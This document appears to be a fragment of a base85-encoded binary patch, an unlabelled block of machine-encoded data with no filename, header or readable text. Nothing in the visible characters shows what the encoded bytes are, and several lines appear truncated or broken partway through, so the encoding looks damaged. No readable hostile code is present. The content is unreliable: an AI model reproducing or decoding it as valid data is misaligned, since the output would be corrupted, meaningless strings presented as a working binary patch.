zmF{+bRG06kN8?KFtmDPu4ZtaDoZM}jwYLl*`g>&@&0)Y>sG`jWJM!%q4F~bTiof43 zlXu`#eYaVBe{Zd`#G06%z8RQq-wckNrFk`ts+MI{lHmlA^?Nb9BJhiF5mgC?xR~9Z za?YEvLJA%xoUuOOBH~WO7NiQiAyx{u6~ILa-3LU+#5u|8Cuv*>ro(gt9-ou}JSW{i z?uXQIrv2zkLV`jwt@dh8#P%^jgR_)rEoVMVxpTdNlRXm-w-Rcefu+Q&-9Os?{>>7t z5uLb{EzV)l_y*hSspz=R0@w+h3O@KnTxvcw;+VetriM_#;~>U@G1vwULodp{Jx*TZ zf;TJ`&6I)XaoyvlisKg)><(HlaCgHt$~oHPt4*>XZOuxwak`M(;dmu3UCx}zoE#|t zm<#dn51Egul&H$EBsd1D4rPqsYCUlj8+f&Fwr7#Z1>k`~}Z(kns4neh!Tg3iGc6``??Llag9) zF2pvodOA%N`tYkwDw_Je8I9AQI?I*eFb> zEcaFo7a;W}`W`EB{aeyShgD3_x@W!!i#oi7vMnY45BsBZ*B! z)yk@ul${Yx{tz>JEim@Aug8tU^M5H?8yQ8bg=>@i1@+&2grej!LkvLD2LD+A@jzBJ z19S^E=uj-$vlipC7_^yM+4NNF(+jqVR`{v57P~{quOw*#HqUGWt1?($p zf-h;mR{o-0N%M5;O19k-ehay{vxIgAtlt?jW>Gx{@;<%-kl5KNHaNQ@BZrekbH=zy z8?yJonyBzjb8Fag61mqU&3`2Z7FVtx{(`mjv8gWyioOYbP5E z^qw!&edM2$3@viMLasR4$~T(RMuLtY?&a0swYno?^A3AJ0mD1^^2ukw{+8P}(96q+ zpc--RNC%>6{OdmPM7Y3{Ou8})Tt`k&j|xQ9fw9p2yTQo=u*oXg1Hw^1_%Yl8MRZ&@ zMx$N05-wPL&ndUQL}!adI?m#wYI-xUJbirfgx9xqHYRI6TKg6JFm63tMX@5qt@E^+ z)-a9xfp9^Wh5bazqY>~}5HG{3sJ^DRIHOaVzWl5;AG{FCYm&KSL~9I^hR9 zt{5epXK6l82Y&M+j+50dS0J^(a@Z7~3N6+PK-5GxyDwKut8KQXFm*JISo#Y{>9#+C zY8;9xl!fx}Yu*Wrcf#=!hkl|%$XkKbja}{O~s*#{Lxn7G8-c%9X)P6n%l7Og0<@d4a-r!WSTm@l7 zg8=JRrxaaIe&9C_&{<@-h%d`O8vb*%emz+&3-s$Zcv9klv}YJAE;Q&j^}bK0%Y8gq z(yB&F^uFTFaAFJ&XRf_-+5(AT+P@*BkPGx)uYPt@`Z%AY%N4z!1>5~~-(fg{1lgq8 zi_|zzZaz2LRB8q~G7;XxZdB)6`ps~%>*f4mF3WyVu=k6YI+ZCR09yx3a2>v=$?DSXqii_sRM}%TjtUp5rulNmx}rhGH;!?#hcP;XP9hva>|bUEZV>(=@qc?a@8-Cz|A_*v+6=WeyRon=4J<_KiMs}SBC zBFFEe&TV!;VvZK-zW)ThhO5X^L*QK-sIg@scomL~q)|-=Q+ct>w zWP2sj86G$zQp(%PonM`Km^3~x;BPw^#etSrG|u))Yo-UZY&d2AQRL}**#=mK!XBt0 z9C~w@E$^_nV^ZB%ugmHnd}0`%ZQy1>v8Ac92X6Z?7TUAcTeI}w7Vi@ZWTKQ{#)!67 z1+D#eMj(X7U1KG7mfc(#zWq2EUU7q}HEqG900Gh~QwfVFXfNi4e`F(-KYT^IL?za6RIW zbT^#2zRa;WK~;Lty$Txir8skxa$B%lFH6bXekVJ%HLpBTM!yW~&mS2sDA(_`wjx6W z&a1u|X$>oU#9uYE&322ORenlas(`;LY_y1I@$iel_=H3KblHPMXaz@tla<5Ih(Q-r zS-cjwd2|h?rHy*|NtgDnwXYe#r`&l!?iTT;e09AKr;o|Z4?ft`$im5rBM#M(Y0g7l zq~)wqO#xaVWW9I%>2yKJu<$?zxSv?pbmipoOX>md%sh!6HBQzu**a2B<3eujFmC)C zEqtZu7+PAqW*wO{>DS*xs%R6pfQM+4+>xe2OPi*`G_M(5gw9iCsthSun0Ex8S?=sx zm@PE+Jful&H*lIRGU*p36d+J7Nk9BjGhYlB>`z72^5VL(#WB+~xuyVFvG*8T2vO8x z8ypr#)Nx>70c^srf0ajcvi-+79|C|mji-n$Zuq7G(nyXw(Q<6snJ?kB<)sW7LyFQ- z;Z1T!OO5oqJW<68r3mk2$%FlKc9nuMWSqi*|u# zk5n^7^8~XX>E;oQb~9yh1Zsd?rXyHVIA4V1<+$*r&F2wL4%woUcS-IzkEr=XR9qCM z^r)}ScPjz5a&OHnz-T7@WVoOULOXcHz>82=494 z9DqXJ(!tV6m*$;TlJ~5;#wWOU&>RWo6KkODtV&X=y$}2VJME**SB&G(f*USTkJ526 zGV}l+cQE)q z+Eaj^uASj6Gn*hnQHEzPfwh0-7dSo+_%Cn%yc3K1E~3@SD{8h`c)xG<{)(dX@-NRD z7l9q`#j)=={o2jIqagbnSis_Li-jWu2~7?3Ql;PR`Kft?2M=6p%Sh8df)hHa>8ZKG z7?o5reN|_f9TMQi8!+_iOSgYH`hZDeAxo{oDavw&l5p0tH|5Bfw`>*!L0D~^88v23 zzic0%$U<@&l9aWx;E%gomW6nDG7Cb(K4g1dsQXT^M^V|daGmRqZz9USz`qN5V>1!k zAKvQ1)JQ9o10#Q!#jn9|vh2l~MomDsCHL>8H(SHLImrAw%{emDRUw|wH#q5& z_o61puaNfjHxYXv!~QrO;X#v^M44&^7-&5+YPafU|7gh#vUbeAv+|%c(!RNONK}pb zkliMTH}d4G)Y@&peKMOtR){lI(^sR{`DBZxHS&d|GXLD?S*(|xl9bEyH{jyIl%&Sx zfPiHGy?3!F(cE@D985pdN>#I;xOhdrt0lE02UFrFD zJ^hR=o~?8`u|N{Xech6>i87!LBv$vFxL zEJLczxWZ8~LDlKlLqs<9)vbg$Q}J3*i( z?T4;<5q2->pTNg~!#nwbMh-$K69^jcxy>%(C@z_Prx#O1w4rz{koUOtL7HecA>6pH-6#s%kRDGsToiNqscNf zQYB1>QZ|Q{?w~X&X_=GjZIE_Q^k0VOs;B%8qo0J&7eh%Ev0*z5+eB34FrC9lQ*Aqb z_8CfZ&aQ{&UsO&;WAQPKJt?KrTGPi)=ZHcWlo=FSJ?F(vCO~5jVfogh3V0eX`(3fp ze4}w2VdG@{OvIn1h_Dm=BV$vlcLGwvxP_bf2^YvAoQNojL`=V>4arn~rrqhyhMZ1K z(PsN|18)qK*TJT~cC_KiiW-s)HCQ;*Ry*16cY(zomUu**wir>>vicxKG0>b8%$K&N zJ&+$_mvC6N`ZE8~=J0n+JJ@^CM^!%fE#Ua4M}fgD(OzV#_Abfu;gHyHMhyr~(ahv^ z$-O!Y9$h1k(rgNlePX3F#g=XK&a>klcbgtp@}X4Ng4nacPLZDZJrYH4j`7<#vlQpCGZfVM$GsB}$lt25Xgcl0|$L@Rv=FA({Gy(RN zLeto|oRXF2Fe#g7;JCJjlTw4nP_izxj*#*-LxW@52_i&&iGmsz8UobClg z^wIYTQ!VRC5yshW^Q*cA$uDj8+A-A4bopz6Nj%BiyMK$&xP$yzpdVD>D&5TwsRK#l z5NVkw@xZv|vElg8DPdTC)W*~-H**@-y*%0@I@w6d=W!Yx%U#(W znNKnTd1;WwVQCQKiPZ*hZVQ|;H$Gb_U=W(m`ohyV(xBG@-9S5(=&8l;m+vT|+(^SC z&xk@p0p0>LI#LQd3n$DR1g71}5^^1cODe}vGmc~yTqdpY4Aiu@{(cyCa&J^Ps3T)l z6vvxat*DA0z7KQkv!VDkxwJq=T|iM*I)aQ1XihJukGbP@Ui`d~nb@PGLVC zjjHI4a1V>3uVqdUA@uTZ)XoCpFjvhCFmO^@QNt+He2j`Q|BxLPCsS(qQ|-l=_e8_# z?)bT2q!2DnL!l(KCzVsJ-w@p#(WA!#Y;PBuz`Pvs6xNYr-$+-z7Vm59P7%z7!H=&5 zK~a;pn=G|=fZ!WNDNaxCfbyqfKLu7dHsPcB&Vfgt)f(1#USF$MNMlAN^M)Ac9gnlz z3{dp7KA{QghC0N#?@EJ1Lmo)Fjy{YnfaknN-GIiEW(_mc!$%pqnbVy)s5pidMM=TU z4ReicmW*77S5gU@m)1e&5jJvKIIJj!8cFkN=4zAL#&To>hw+A!W2I<^F)SPp4L1bn z)a^Ga*tZ!G+ZO!h9@9)C*-*i>Oy z2ZR|$D8bJZAmC=vF;6vGp6|Y{XWZP%O8($1Fv#A?u~NyI7c7%zlC3wrU{m&S8~fxm zuBaVIern+~e>+n}A?$@zblrZEa;oD`Br^u;dXUBJ`PI6oFy3*nZ~8EWO9dbWt^w6fRDv$Kr5}vWlJ$$Ip2F1%4^4jQl8}m)-@N z#~UX%hIWUE(F(|!AB?Muy5gSNGV_fuIp}fvpxwJCmYTMalEz~VFd|H1NG1P6=&)(})Mo)!7Ti>i7l+Yi z!4u6hdj+Yidxi{IP-_t^Fp{ugqrhHtM-}uSUCb4$=qd;eV1XVuQ#;5Z&ABu9}oTmDQ@9VrQ9tz`TBEtOkebsC5Y9PykUYJAM6XvNRnk>&Lp?isdLY4ZdWvZFxxfKHgZV1eo2xMnW8N zopYAn*ZEfG@4Bg?CG;hM(n}MDE>82wf?XhCdl!4q5j0pPD;(aWer!`SJMX5-o-<)D ziSIC|vSu1xPU!YOgkz(M7#1J&Jgz>4IftDz)lJ=S?4{WdnGjX(F(VM6!u287yW9XF~Cy{XoZp##38rfcZ zw0yAv4a_YME8}4EbdccCI_E=o3%UUP8NwQ{d4;5&gW< z=c$t+60*nA$pI#D-GTzV;X}yuAk*fQe;OaVF^VT>W+FndZ0RL3F?;%i%|4+G2(=LN z*LH`KA_H!^Fr6gR%GzOQD*7TK4UDs#Q`_iUF`C!8!3UbmDNXgIH&+=9C#r~B3}Z+_w&R;7C~hO47%SsI9pW8^fB(U!KR#3VD;q907O?^ek?k;(H2bE} zKJ|xul9?U1H~E_Hb?NzX2hqbM-@dcYg|LrpcflqSn?SIWw_td`T8A`2vukqN*5j84 z9=uWd@fClmu8j3TYpczb@$8OTO*lz zy3AiBhV?^S>QJy*n^i5ehbC`<{e#lL_@bC@MT*5)8-g94O@(!}#YLhJ-BHdX;{|%0 zj)sRt8vTKg}Mefq^RMrElEm!gu%@GA?~*m+>gJr9O$RVbkF)GP4}&u?K<^M}iZ2N^ZP z9*HHlMB+I@w!a~v+uy5kWYAy%VHJPz3IXob4X!M5!~%oQ>|w$y`b2j`fTj;+ zrQDUm(3wOiBW=<(R>~F+)5^*dT%R5g7*&ueI;eh%g>V!p`{kM_PRm#k&R@bEQ8SS1 zk`$cH)`9RkER`4cyI{q<>Qr-Pf_X~b_jD{`)baF*L&B*8Sw{;?%{fr6xu`pIfp@?3 zps(vbJD584U23Dn$!eKn@~bnosRgCLjO5U|Zk0CzfN9D91@4J%PDGx9xTip ziHRKfe!3INE^c{p&jCu3mfFdEu4~Vw@ zsNUH@{+jSvU@A-%=~G6ZtwD`*WuWE72{>7PkFo4>S^^x}{pJHUYS?0-a(YP1Wd`U* zCy5um*Cx*bx&H&gd8@Jp804$eNK;W~RsU2<0Qj>gEwPc-oJ7z}_^k>SUB3O2#&Efv z-Im+d1v!9`?DFq5^WteNQ&8?jOB|5*XgSkrnZc7DkYmVgdw1pmBScQs{-W{u*Q_u9 zw5`zd!}c>>!8z-gHhqM@igM*&JW<#Jy$s{CbxZG~gAMs|74tZwi+kpYIwQaziuFaY zCSPv7X}|r!4NHDDL~0N#Xm$MCLU!hr;s6kg&hAR)ODA9Y7@Z(Ez(ufc{9-eGw8vu9 z*^xO=o~nH;z%8*krNb4%w2p%tY*69T2R9$Tm)nHMmUyZ=)o!N~CKH>QDG0;bnIljV zIlI4KJQJ1hMS8m%XKP4l)Jo67)+sO7-=E=X6UIud8@_exBqHJpV2PZ1RYhe7;iQs< zs3u9H_LNS_)l9!Y_;BTmdN`EZNSs=dWz)qIPMOqcllf4LldNWV{R*x7?Xqla3=$%)Ve09bWRb;GB|ZtkQ; zz3oW$I2x_Ppr&US?-H{k@S2vS?A9XtdqbDI@ZX7oBwvIF?M+u4AHz&egaV;<2SSd) z81)TIdbx93Cq0QnwD@zKOWYN&{S8>dV_{dOBx>k&|-rK9yMY0Y2W z_4Ex^RuJW+lv4D%(YnN;8D(3Ux`Tchb?*5I_}^7BLd7iD^U)M$Mzk$jnFUayiO)HX zUsIAFYARFf2y(~CC#L&2n)z=L#~~O$k!iLkF4?dZQvB8`_IN7R3R<|R%=rz!k#PNK zZ&78qe)%UBG0P03MQuc<$|^=mB4?DzU+N*KO$gJ_&-*j#9Oo(0bN?r($Nr^@j>zGS2W z_9BWaQI$c&Sg=Gbm<92+{0Cx<+N*Bm;djnT$wl?M%Xcm`dpNWe!1Ff~VKcA#n;=H= z-hO~FzbOFQwUAW-7uB90Ego*Pj5ZikLzd$@YRUO-;6`Jpvyxr>-O(bhq>xg8JZS*@ zs+#Rw{Ojzm__t`Jvb)QcZnY?ai0&--n`I4W;|*s#%L?E?;-va`FZ>vuU7}3Q)$*II z>tpx94h4szqiJP?=yQD^#j#LY#Sru0M)yLv`B3Nd)Q^_u1!!1x-pE&;cA5D4`AIj5 zu9phZuxtBkGvBchl~7qx1^MWw&!e6tTA5GI0(8K|1I^ABaY_*s`MXZs(J6CltC|b0 zy?D@N+o;pySSn_&WP`Fv$3Hi&F1_>h#Wsi%`~r>sE3xk(2gL= z(tuDr1b>GK=LOiOjb|iL_MPckx2b)F z!nKU9vTqI<=T|9|=?_+BLr!Pr$Sl}lW_%+-2C|`DGX0%>0}NvuY&{7KqKGL3)ujKa zW(G9|TWS#yX_l(^F@ELdL$m}at1R+h3(DT2Ysh+_OXQ91_yd1CkUmnIb!-_)5Bz(H0rY2m+##wBfWiLDUE818*+JNC7y!4{M z&`n9UQg0(6MgyZfcLRY+Y$4Xjq2{+9T6)q$hBwG=JE)R~hh`!KheMiZRi6bUQY5e6 z%JD*%KD*m3>9t3Ul-1I_5f>(`}WC5HU zM?3gaU=9qYPTgk9pd~^%m`hR4s>;^mh+xsj>y+~b(Y$Dv6w?m;R4N0#GRv***?bG0 zI9N0}V-uC^CTG7Bh6+{fE%2nUEN7E#Avbw!vGib)J#l0d?{`>5vqMp!)mo8xol5PU z+SmWmC0wR%z3_YkU{#ocLu5)*-N1+ZMgzsz*9cXXeh;fPizCGJG3M`h=OEHo@LFIi zWyIL}V%#BBeqiL$_z_3wN6NU7QAIw(H4rWnKnZ2IE=7BSIP&Q4XR8|f zr41S2d`SX=Jy?7Q^Fq2?uXB1v{X!Fi8-w-~=!@^Mf({1u+_&HfeO01riy8;!`|4^d zgs)C;#Xg4)REBSz4%2nJ{4OE(1k+_`%Y)2r2L|l9N(dzue9AIQD6)f|uDiy9c*ukS zhT%%cb#~P!x6bMM9#eiaJM~n8{8taI8_;$ek>e^;cviV8cwM{~ilUP+SXOgDiv6E6bB#te$ z-xY9T|1_np!ehe!hyBE*&+pqg>M`L`ZYt?=p$0CtWrPj;)ob<1L}r>VK3xg|Kcv_Tt8Cjp0M%=*z2rGp<8swWrCkKFw=VykE5 z-%-01Nnx4%p8O|&KUzI)++vmcZE%|lT3{qZbJGR-a;Bb|L7-g!Lt0}tX4TU-nY827 z$apZ<43;}hLHUoR_C4ll}6Gtj>^bL`KFUyf{;K0WT@+v9#y zCFDxAl|fGh2~V9j9ZOrV)m~-*ak2pA#^4thO7=nD8E>F&`lGv$wP4HKD9I#Tw8 zExp}_;7utzM_2sH>NNXQa~lc<9peptZ}wo?B~$vu(x)-cK%&9K0rxlIR_~kW4}ud0 z{A8aJ@fzL7nsyK7hw8a))+b(1aBuLR*{>tR^Q?}vpocm-X2GA3hdW$*^7r>77W#R2 z)X&3SP|aN^%@+an8XeX2B_t%@vq7X=F*l@iYKHr3u6 z7wp|1^67;DnP8sUKhVrliqaP{gF5;3Px$9Qbsm2aX~wkU$SghvwPk?M=j%52U@NO& zf?!10>UQXdL7p8We{B5J(8|?)J|rDoRcfA~e3P8CleM_N=99H4`-x@&;qk z1l?0`wYrh8^&P+S*C&6N*(M}5HoLLq3Kv52waWg>pSs0OgpF=gl+ox~S_Z^08AN?feH!lK-|?2w!~ zRr?en<$_Mh?Fo7j)s}iuf1U_MRHU%8+ukJYly3R4@8>^zKDWsHJiL_jlNBXk({rIDLv{@V9Fk zHLYkZbsSDAPlBA*%fx_>cdy@;-HowE0z$lc2FwD2&+U}I?HB1fhM#!d1;fd(&>YO% z4aRI9nI#-_^n?v2EIoxMut&er?3=@n=p_82uw{3y@LpLJXWpF9CsBUvcv>=3GG6j` zYgQa8jy$6HAKZOaP#j;|=im?s1a}FL;O-6~coN(_I0U!BAtbnaaCZ&vZoxglVQ`&6 z2hH}s_Itm5S88u|FShogYp5xvrl>_l$bU%&OthBj- zSzeFW$}GPoe2ymJhP{7wb$#F+W(5rh!PTI{;=0oXpmOV#m`rnTs_e$CsRt=VGm|!7 zn-16DrTP7f$MQV*?-PA~mc|yAZ1l;1+*}+FM;y3w%4&*{!SUAOXNhfEibyas}KA&!>l{r+N}V`M#d?E|grh|mr-@H#7- zSgfdhop>_u_m}RSH5~Mnf`Z=CCV1Ib3yRU2c7nEY+&l{{|60iXH4l!#g*MRCyZ`03D;z^VErgJ$c z-1s=Xd^r(6>ub8B0txd=kpA;ZJJ82o_`A(j8DS@ii}7f_oRR305VlGC3vyFI>8&zC zcy0wsZPa$K#BN9M3ZL?ncvAFhvrH9~snd%5fxD^1#ncCna|V3DDZQeO;Mt(pSGkz| z2JO@rYrw}OnjLzEGo6@YE>GnZ#10Vuf^M#tA-BUZNfq0ewOo7M;!k!W1ZKyQWX90= zbqY%@NRZD;*Bq<%`jcdR-&p>@K4O48(JOal>fX?ytwd0y$_}Mx8*%D7~Z}Tf% zzxss+Tt;jKG&uz97u!IL+EfRU5LVfiDF;l$k&qw$f)el4zyA_KV=g&&2fjABza;Ez zt{^r*&l_G2`{aq;dKdvZ&E9DdMeNGmr*H*)47~07bfiev5Wp+avH;841{A|$&Wc^U z?Pzh`Mpp=byrS@tulB{{j^!&2GR-rw_^!VHu^wfe*Hz9hTeHE;Wvnbi) z2Au25z-%GGBX1n&=?8h(EqKz4PSjP$Ojo3P@j}?e+TJjTBvml?<>;$~mPzF%o}qv$ z0g(_Pp&fJJwh2`_SMqO5e^pi==4G!v+VG_wPLw1oa&eMKvFQk9S(yhgm24KyW1O50 zq3iSOC#Ha=LI(xadll3lVLN7JqVZS71SrnGsf(G{vA|P>Pj_FUGEISAkaL2i>VsvIfAJMCe=y5(YzAmO%>#CnMfng8X9&kh_I*|@gx=Gfm1rV z<3SNm8qhmnCNlVbAcfRjMC}xl=?-8@45ByyHe&p^{q14w`cP6jPVhcJQ4=kG9y z1zQ5xNy(RA!B>NflbhbSOUrQ}FdfoLk+3+4_suZC>YkVfM*;X0ZcY;JD0K+Xo?WZP zX_zF&e-bo5os?q;e)h^mQJpKL3o^=h;C!T$AoQnM`NK`k;-g;sghmbgd zhx7QZwIA{E>@48f+n+U)!J<%3?<+`702FlVxQq!Q4w3k*98za)qYNMfgJx46uTj0~4q(x+R_94g6xNCpX1B~kugJdiCT7!mj* zIK@!d2ta96NuN_9Kp*^Ufb}3h5L?bwPP{mR5wvs5Ykr^3n2WNy@y`-)A`u2zPlx~+ z^F3K#8ZQEWIsNE;nD@(9K3BKSMSIGB$JHJoJ_|pxNm4-?9DA5{FqmV^Maw7=Z}2PX zWCDg=j-79;s=Wmg3v z&O!6fZV30D#{dx60#Wu5N+t;XXy0U-TR$FvYdi1 zya;kHg#7~nf0EYZ$^C;zF3K_x4v=$WHz#3%6K=JYGgyJyr%C69nAnaaGV4g7&$RTI?^|N`LYbuY@Zsd4T zoYP2RAP4Es(ct5noUAJHoseauC{<^-)Ljn4@&B6x?EliBrzBBlyyqeS3+W3 zgS0Un*m6Z6=2A4OOr+&ZZ2yuNCJ_}!3tsOPB7p*3ys;%8yQgeHjm5^DL2+ho>P!k6*(6lC_b`Ld2w(B# zmr#~Vy;X~?fG=0~5r-kO7`=c~du>IoOsBE2XZ(vx>^eUHT8c3uea|nMZ}{VuG4$1< zpM&Pc^oaQdh%rCn|I6bLw+&LZNoEvEv6(G4r5IGRMX5vm0jMOer}@yGP@yOw-QP%V zx5Ksw46$jOSJ$Ny4YUkTpZ9@BJX+)wS_ky$={Pex(4Bz~)EyQduHm}6 z7ZiZwg+_ISVCpX&_54p%MY7PRnd}_ZCBP52phAAov_Ebg&bz~)xs95;N2b1e%AUIj=b-q-Kn9E!e&^vDTR@*HIC?!4 zFj79|hoOcQ85HHJh6$HK^S*oz7{1KKB&DN&B?lNgu8PJuX|4`4Jw(7QT%zrKs0K9fK=P3_C zDxA=DN@7bAqx{gOMi1Sb`RDL+vGf8?-Zg5=al677_H2ylVOBXirc=Y5l{`0q`5>Wq z7JX4w`FjN(1FE2XvugIL9XFJE)$9)Nx(JamnMdcv$Iln!E&uWkR`}n{Flq`}p$h)xI&zDvGycj`ti_59cbH%#I-h zGXxLCi!Pm%@++Y$E{e4C#9t7yIdt||I8*g`TF>GsCI@=9wEbD31dOlR(J{}P5l)Kd zqi?;#=1gY)1bII`Lq*0F6^HZfpk{7@{Q2eYd4DE`ulOHeG0|Jb5(>%g?F$KpMr@z= z$B2mp(tYvR8X_roOVUp%szra;TYd`E&U%yrP8Zkskp}L*ErAOzfiQ&9{;Zv6t-K2F zkl3n{9*8&Y_omQWTf-E))a|>JV@3IHe)R`IPV|0X-fR z$A&S4J<4n;hwpdl!9+M7d6SNcMN;zbHK<|3*oH!}&P#KV4C()KdRR z?*0d=!vNwczO-{T2T^^AZ|;<=ddZ0&e%Nark$%Vsb4%gwKdW9eFyHH#?Mi)$E(X+O zc@H%Hv&L9CcB>qrRpPG?8I{MI$z*y2UZVV-OonLj!k=>4yqZ z3>yuk`Rx6z*vD6P1~U>i#@Jwv?Z2RbSQIe()BqJ{0Onzw&Z>cdtq~Kh-k=w63d6}c zf%Hf^ca>}No`~YU!zNCk!XV+zZ3OV$-vaO+c^<^qeO20E#(`G>nEK0DH>(o%?4FIg^6>)I$p{6?SLT_1Ygt@w!79ZRv zr6!J<;-5sSnC&tbb@rp-I+(t`*kI&u0*UfRJfXwufni3}KK&PDjRGD1_RI!nevqAO z48S@tq9cn+d}-G&KsK+iBf2<>9=@m>$*NjdGy=X&HoV|?4RjO80d_E z)J&z(_?2BcYVg~F3d6%CBRW4C)GqMW15c&DBM1vWbF$LG&02A6N>cV{n!^5!?sW~h$P5;Gj=hM zG^dK)W|a$wOu>2qiseJzx}ZVo z&|^tdAPWW?jXJcE!Yr=C}_EG8)gC*aJnMXdz40|Pj!c=<)h z4B-Tz6BV4+;#8_DQUtW+KnfHPByY%%N#N!0+-pF0u`{i+Uq;|ws1DR}3-BRjs;j(M zgB(4pFE6BDs|QOG7fV$E^}KQ^XQlG}HFaOW^3`J}3&$n3(Sn8fCIy6&ON%{E_!nuM zB@ESEQep|=QTi!w)${mRl5}1LTZRCn`maOF&7SIbK)A8kkgeQ!)nE zpTS6F^a!IB&x~--Z5-s^daK96R8@u2eymXa#?y+GyPxkgEhQ! zA8)z9&H9!d!`!NjRtAj77uYT8^ncs$G$+iS@oC%Hg=Ja_VSV}e8f%mmPcxD}B9J1B zu(8Njc(HK<@tEpO-B03liO_7m1^N){bweTg*J?JVXcIb^aoHXlj3Tr|*auaIS{t=E zgSywpox&f{KGbLTo}0D!RC)KI)A)#3SD)b)+BAje>n3a>`hz`3GE#(IfWT{nhg4X= z)aMRk(5tV5uBC);GjuQE_d6>WgF}_u8w}scN7eSz9|}dh=4QE5lOLmqrYNu0V(<%2yaSx(|?Q;7qX@1wi27wJBvkkl-iC-)CQI|s;FIt9ie7#_1@#lMyI|1be2;mUF4>dZGwUvdAgG#~^Ho0a#-t z@czLRd@$oLU!gbEb*`B3fQio+PtnP}P3r^oUNW9U^gD^VT^!J?{h$sx*CN}OB?|6# z4fVfmwU(nRgOY?BJc(u%u*x-quwwd~T+m4y5KaKPxmUW2xBHu~UBSkq)YA19WM>Xv zW1cS~Wu8ytd9uYWgU->5$>wxitzP)ffxn)J#H_9M41ggdqV7XuzjSCy4BkD~0n$+sbt=fEUPXAPovZXT0-2}3(Yfcym!9o#=> zRe&#t+N!g*+jr)#+m$9fj++CR2CIGB08nBYG7Air7ryW_EdA{mG|`zPw`-ww34 zfL`7%1{*-@+wGtnx}>*SC$lx-aiNTLENg{<@pC@Uhv~yND6TJbCp&{@h{s48vVk-O z9UgAG4RNrH*@N_ZCr>7_j`Sv2HviaWFLct3Fvsmh#vL^04pBo#ra~7xc#m7E2}0;W z%FRW|PkuFWQ~;_2nQv;Q)EaYRv1S{TugOnt<%~GtOi!ceFPV7SP6|x1svYZ z0TXH5wS=@1u>NNK1>ru~ScCF`1T*EU{6GvVk|tAsZwA zgasvR9uLb*MC;^-oDecZ#9!~~91|D`THQ7{sK>%xc_qG|VQ!vnrzgVECvzn1dP-?k zkVXaViRg}|3)+~sT&L@$NDg})!gKus#KP7c9C-Q^k7GY{Og7Inu(Y31qHc-@b4A-& zj9E)z`Srp>A=2nC8@$pUeh326I@bx1_f7O)5Xx)#X|AtuEi}1#VB!lr-~(81d3}3* zaqqpn1JRx!*6hHXSlf8ShLsg(rahzfZt0^g@F8OOK4e9y#r-_o`>c(l;mJ%P{i7_o zU2E5HMT33mN@c?P$#})jQQu@WBTX*8`R{HUFYJc0ciNwAb_}l6?bnliNCg; zs0Np4&$ypz-JUGwD~+8}BYjNUX61+v`mTZt6&>`|tTKCkApmPOgc-)PO2q7ZRR8Gb zqNHozV9!5e;%7t1C#$pFtg+^VtHi%rVKH4$&vj7(t>`K!(v@OWTRl>(Y;TT>uc*Up zAw+S?tvkMmvySY&Sc?{1S=XJSDs#JWYV%6FB(_q~_P|L?qrn}$;zd{mci&9F^C0KJ zDvx3dkA|*3n`3?g^0RbvFS9DGQ_{6_ZqPjo-@T(1z{^Y-OFozgrVlx7un&j zEE~&}O5y*k93_8yLScm^@?h>W3lHdT7Ju88LatH?9k4Kw=6Quq&0NYlOz)I?D~7;} z@E*!IiDLZ+ZmB=#Kjv(ma_>@>?uA+CWw}g%*dB?Wlj`8Fbye_;TZU5CV%JX4z)kYG z#nLIU7Sz<+?1khs$_xV3#S^@_PC~t>dUaqr)%0lt*_3EZcIbwEAcglSM~goluXt?n zaDGNmd0CtO`?TJj%pd8Wi)p-l>jHN>KcRY0qkdBUlyvY6J2k`!6Q?w=PM28reeg0` zUMH=|!(&XCDE>?r6}8i}Rv3dm3c*Yd9x!?lfTgeVqvq|P5I0>I_Q4EfVQFTp^e$UX8E9Fp!xQ`efX zG@7tw-lI;hy6+oNk|MM0@(Z0r=)f9@Ibu4ePdK_MiKD171yd_Zv5JnFr+|XxJA<o+!W#-A${53o63VRFSw>WL3 z$-E$TAs{jfngk&y{zkNYI`8lF`8fZ%zGa3ljeU=uF6d+jPoe&N%VX#C{7{nQN^|8e z=;aZa#uDzD&W65%HNoW1o)OcR(M3TNR&=Dt*-X=LWsR13i~86P^E>T<4k;*&9x1Pn zexXY4xB~%*-w6u}!4jHFXC0B0A}Z~v6R!v()-t|)+hpq5+^;LGxx(xeR%jlWl|f2d z26uZQ(8M{@?&_H1#>oqArh`gkm_A@D5b#>O;&FIy8aH4<22y0S`0XUGejvkYZNZGc z&+3F2mEeN_q+KeN>P!?Fc6QG4HNg0nVlOT{@x$6JaRs9Qk#by_}A&7v` zdk~}*(gxDAqcSqYbPCU#(OnF(%kv`82oY$QBvV)>>qlkhP9q&0%A-5@F=1{(mWn{a zUwPz7IJZ*(Im9&DK7i>0ws;ieebMV8O2$FZTc_1a<#ohZqn2Xa^cQ=9^hZ3iQ4WMu z%c}8`FU)#L1WN{aq!=wkbU$s%nSJ0$M~V>wRAWRO+e!!Ndj#l5Jfe2f)aOA5J~6{9 zMa*@`r;f~{RU<*f zL8c06;Hx3D?V@k44OLrk7gMBsyQ=$p*wd5#&J&mjYJQdP{|JzGrRG6 zDwgZZL4jxV`qRvA!Kj0LwanVm`@q>|#kROF>oz1Kd67px+q`zWR5g$Jz$HSUT>wtp z?moHRl6ZN%%<=6+RNX5VJSL~ZQB?vxff?H@)gip;IOJVkt#yp}>`dD;Fyuh{@G~VK z&6)u*kk1zhvSzmx8)474hNhCLv~aSp@HUF2q99M3MuXnDkj2$c+%vBq&UA2 zWjJHafS^A&Jb0MQSDb9d-S`zH)#i$h?s$r~`&lvtm(Ioto#F&#AN{9L)|n1ZZLXgr zJB*@Qx9`)3mA{^IeYA3!pm2TvN9_o~oF=d*y1(=v=U8<{4>f|X0!&)Y?i3qSX@o9r zkVfD|H0J(U?H4m4WU3s_y+AScmFE{+5JP;(St^W0c8=GcW#9%cwvn_^%uc6q;q=>> z@b6Wb(v8)>paS~x8nX9h)@!OW$upELjTr}{%1!w6wr_qD;2uSbdD%oK?92f?R$yph|AYqlOL*o0qZoA2oq>fFW= zi%`U2&}C;v?6Oww&O4emeHBRe2`6GKP)&*dy~%h>A0$cj<3ZthLAc~pJe$(qOlrE} zVG4WD8GYWQb>8t>OyRA&Q>u3At+oJup}zAgFPxO>P5icwuBO+}w*{PG+Y3Zi=+#S1 zI}mVGYZ5+Lc{?qTRb&2XnD0k`DSvW+Sk<^Cd4?_-X#qVxd09WxFex%FTm{V)XkEb> zH;(W@vu)#(iU8b0Jbi;h;pbpyr)hn7tU~+u+|JtMdAvwg_8vhku9g@{3`v$FoEJc) zq~MDnaWVt*?9*B&l|bEtrIS`(Nua^?m6v#meiO83`a1_WciQ78qCi=AmSj@XFluZ zqK+8E83Q(tF96qXujtS`$Y`3HR%X^r5xi7m)Y(3-0m4>Zia;1aTm0(8b2xz%BPN)O 